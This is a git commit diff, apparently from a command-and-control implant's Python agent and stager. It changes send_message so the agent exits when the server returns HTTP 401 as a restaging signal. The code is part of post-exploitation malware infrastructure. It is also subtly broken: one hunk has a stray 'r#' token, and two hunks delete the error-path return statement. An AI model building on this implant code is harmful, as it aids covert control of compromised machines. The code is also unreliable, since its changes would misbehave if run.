Fixed renegotation loop in stager
parent
dc0f43ee5d
commit
4106db3279
|
@ -18,6 +18,8 @@ import socket
|
|||
import subprocess
|
||||
from binascii import hexlify
|
||||
|
||||
|
||||
|
||||
LANGUAGE = {
|
||||
'NONE' : 0,
|
||||
'POWERSHELL' : 1,
|
||||
|
|
|
@ -762,6 +762,10 @@ def send_message(packets=None):
|
|||
except urllib2.HTTPError as HTTPError:
|
||||
# if the server is reached, but returns an erro (like 404)
|
||||
missedCheckins = missedCheckins + 1
|
||||
#if signaled for restaging, exit.
|
||||
if HTTPError.code == 401:
|
||||
sys.exit(0)
|
||||
|
||||
return (HTTPError.code, '')
|
||||
|
||||
except urllib2.URLError as URLerror:
|
||||
|
|
|
@ -502,7 +502,9 @@ def send_message(packets=None):
|
|||
except urllib2.HTTPError as HTTPError:
|
||||
# if the server is reached, but returns an erro (like 404)
|
||||
missedCheckins = missedCheckins + 1
|
||||
return (HTTPError.code, '')
|
||||
r#if signaled for restaging, exit.
|
||||
if HTTPError.code == 401:
|
||||
sys.exit(0)
|
||||
|
||||
except urllib2.URLError as URLerror:
|
||||
# if the server cannot be reached
|
||||
|
|
|
@ -470,7 +470,9 @@ def send_message(packets=None):
|
|||
except urllib2.HTTPError as HTTPError:
|
||||
# if the server is reached, but returns an erro (like 404)
|
||||
missedCheckins = missedCheckins + 1
|
||||
return (HTTPError.code, '')
|
||||
#if signaled for restaging, exit.
|
||||
if HTTPError.code == 401:
|
||||
sys.exit(0)
|
||||
|
||||
except urllib2.URLError as URLerror:
|
||||
# if the server cannot be reached
|
||||
|
|
Loading…
Reference in New Issue